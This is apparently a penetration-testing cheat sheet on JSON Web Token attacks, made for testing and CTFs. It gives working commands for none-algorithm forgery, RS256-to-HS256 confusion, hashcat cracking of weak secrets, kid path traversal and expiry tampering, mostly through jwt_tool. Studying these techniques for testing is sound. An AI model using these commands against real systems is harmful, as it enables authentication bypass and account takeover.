JWT Attacks
Table of Contents
JSON Web Tokens are commonly used for API authentication. They
consist of three base64-encoded parts separated by dots:
header.payload.signature. Misconfigurations in how tokens are
generated and validated are a frequent source of authentication
bypass.
Related: API Testing Methodology Broken Authentication OAuth 2.0
Structure
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZ3JlZyJ9.signature
header payload signature
Decode without verification:
echo "eyJhbGciOiJIUzI1NiJ9" | base64 -d echo "eyJ1c2VyIjoiZ3JlZyJ9" | base64 -d
Attack 1: None Algorithm
Some libraries accept none as a valid algorithm, bypassing
signature verification entirely.
- Decode the header and change
algtonone - Modify the payload as desired (e.g. change user to admin)
- Re-encode header and payload, remove the signature
# Encode modified header echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' # Encode modified payload echo -n '{"user":"admin"}' | base64 | tr -d '='
Final token format with empty signature:
<header>.<payload>.
Attack 2: Algorithm Confusion (RS256 → HS256)
When a server uses RS256 (asymmetric), the public key is used to verify signatures. If the library accepts HS256 (symmetric), you can sign a forged token with the public key as the secret.
- Obtain the server's public key (often at
/jwks.jsonor/.well-known/jwks.json) - Change
algfrom RS256 to HS256 in the header - Sign the modified token using the public key as the HMAC secret
# Fetch public key curl http://$IP/.well-known/jwks.json
Tools: jwttool handles this automatically:
python3 jwt_tool.py <token> -X k -pk public.pem
Attack 3: Weak Secret
If HS256 is used with a weak or guessable secret, the signature can be cracked.
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
Once the secret is known, forge tokens with any payload:
python3 jwt_tool.py <token> -T -S hs256 -p "secret"
Attack 4: Kid Header Injection
The kid (key ID) header tells the server which key to use for
verification. If it is used in a file path or database query it
may be vulnerable to path traversal or SQL injection.
# Path traversal example — use /dev/null as key (empty string) # Set kid to ../../dev/null and sign with empty string python3 jwt_tool.py <token> -T -S hs256 -p "" \ -hc kid -hv "../../dev/null"
Attack 5: JWT Expiry Manipulation
If expiry (exp) is not validated server-side, modify it to
extend the token lifetime or remove it entirely.
Decode the payload, modify exp to a future timestamp, re-encode
and re-sign if you have the secret.
jwttool Cheatsheet
# Decode and display token python3 jwt_tool.py <token> # Tamper with payload interactively python3 jwt_tool.py <token> -T # Test all known attacks automatically python3 jwt_tool.py <token> -X a -t http://$IP/api/endpoint
Tips
- Always check
algin the header first — none and HS256 on an RS256 endpoint are immediate wins - Check
/jwks.jsonand/.well-known/jwks.jsonfor exposed public keys - jwttool's
-X aflag runs all attack vectors automatically — useful for CTFs - Even a valid token is worth tampering with — check if the server validates the signature at all by flipping a character